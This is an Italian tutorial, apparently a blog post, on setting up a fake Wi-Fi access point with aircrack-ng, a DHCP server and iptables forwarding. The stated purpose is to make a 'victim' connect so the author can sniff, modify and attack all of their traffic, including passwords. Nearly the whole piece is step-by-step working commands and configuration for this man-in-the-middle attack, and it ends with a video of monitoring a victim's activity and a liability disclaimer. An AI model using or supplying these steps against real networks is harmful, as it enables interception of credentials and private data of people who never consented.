In questo tutorial vedremo come creare un finto access point (fake ap) attraverso la suite di tools offertoci da aircrack-ng. Questo finto accesso point potrà essere utile per essere a contatto con la vittima, tutto il suo traffico, come password e dati sensibili passerà dal nostro finto access point. In questo modo potremo attaccare e sniffare tutto il traffico della nostra vittima.
Questo tutorial è stato scritto utilizzando come distro Linux BackBox poichè ha già installato di default patch al kernel per lavorare meglio con aircrack-ng e gli ultimi driver wifi. La guida è comunque replicabile anche su altri sistemi come Kali Linux o altro.
In Windows creare un access point è facile grazie all'utilizzo di programmi integrati come virtual wifi, o tool proprietari della propria scheda di rete. Su Linux la creazione e configurazione dell'access point è un po' più più complessa.
Con questo how-to vedremo come condividere la connessione della nostra scheda wifi collegata a sua volta al router, in questo modo chiunque si connetterà al nostro finto access point avrà anche una connessione ad Internet funzionante.
Requisiti:
- suite aircrack-ng - airmon-ng e airbase-ng
- server dhcp
- Linux
Logica:
Con il tool airmon-ng creeremo una scheda wifi virtuale e porre l'adattatore di rete wireless in monitor mode, driver permettendo, partendo dalla nostra scheda wifi fisica. Il nome di questa nuova scheda wifi virtiale solitamente è mon0.
Attraverso il tool airbase-ng verrà creato un altro adattatore wifi virtuale, di solito il nome di quest'ultimo sarà at0. Potremo verificare il tutto attraverso il comando ifconfig.
Dopo aver creato la scheda wifi virtuale dovremo impostare gli indirizzi ip del gateway e della submask, poi dovremo configurare l'access point per poter prendere la connessione Internet e abilitare la navigazione grazie ad alcune regole iptables
.
Comandi:
La prima cosa che faremo sarà installare sulla nostra distro linux un server dhcp acronimo di Dynamic Host Configuration Protocol. In questo modo quando la vittima si connetterà al nostro finto access point, gli verrà assegnato in automatico un indirizzo IP. Apriamo il terminale e digitiamo i seguenti comandi per installare il server dhcp:
sudo -s
apt-get update
apt-get install -y dhcp3-server
Ora dovremo creare il file di configurazione per il nostro server dhcp. Digitiamo da terminale il seguente comando:
nano /etc/dhcpd.conf
Incolliamo in questo file righe seguenti e attraverso lo shortcut ctrl+O salviamo.
ddns-update-style ad-hoc;
default-lease-time 600;
max-lease-time 7200;
subnet 192.168.2.128 netmask 255.255.255.128 {
option subnet-mask 255.255.255.128;
option broadcast-address 192.168.2.255;
option routers 192.168.2.129;
option domain-name-servers 8.8.8.8; #google dns server
range 192.168.2.130 192.168.2.140;
}
In questo modo quando un client si connetterà alla nostra rete, gli verrà assegnato un IP dinamicamente tra quelli definiti nel nostro range. Come server dns gli verrà assegnato il server Google. Ora avviamo airmon-ng per porre il nostro adattore in "monitor mode". Per fare questo digitiamo il seguente comando:
airmon-ng start wlan0
Ricordo che al posto di wlan0 dovrete mettere la vostra scheda di rete. Per vedere le vostre schede di rete, digitate il seguente comando:
iwconfig
Ora creiamo il nostro finto access point con il seguente comando:
airbase-ng -e "nome finto access point" -v mon0
Al posto delle scritte in rosso, inserite rispettivamente il nome del finto access point e la scheda virtuale in monitor mode.
Quest'ultimo comando crea un'altra interfaccia di rete, di solito chiamata at0. Apriamo un altro terminale e digitiamo i seguenti comandi:
sudo -s
ifconfig at0 up
ifconfig at0 192.168.2.129 netmask 255.255.255.128
route add -net 192.168.2.128 netmask 255.255.255.128 gw 192.168.2.129
In questo modo impostiamo gli indirizzi ip del gateway e della submask sul nostro nuovo adattatore di rete. Avviamo ora il server dhcp digitando i seguenti comandi:
touch /var/run/dhcpd.pid
chmod 777 /var/run/dhcpd.pid
dhcpd -d -f -cf /etc/dhcpd.conf at0
Apriamo un altro terminale e creiamo le regole giuste per redirezionare correttamente il traffico.
iptables --flush
iptables --table nat --flush
iptables --delete-chain
iptables --table nat --delete-chain
echo 1 > /proc/sys/net/ipv4/ip_forward
iptables --table nat --append POSTROUTING --out-interface wlan0 -j MASQUERADE
iptables --append FORWARD --in-interface at0 -j ACCEPT
iptables -t nat -A PREROUTING -p udp --dport 53 -j DNAT --to 192.168.178.1
Grazie a queste regole abilitiamo il forward dei pacchetti. Vi ricordo di sostituire nell’ultima riga ip in rosso con il vostro gateway.
Per sapere qual è il vostro gateway digitate il seguente comando:
route -n
Ora quando una vittima si collegarà al vostro finto access point potrà navigare in internet e voi potrete sniffare il suo traffico, modificare il suo traffico ed attaccare la vittima.
Video:
Ho creato un piccolo video esempio di questo attacco. Nel video ho utilizzato Backbox per creare il finto accesso point. Una volta che la vittima si è connessa al nostro access point, ho sniffatto tutte le sue attività attraverso xplico, potendo così consultare quello che la vittima stava facendo.
ATTENZIONE: Questo articolo è a solo scopo informativo, per cui non mi assumo nessuna responsabilità circa l’uso che farete di quanto scritto.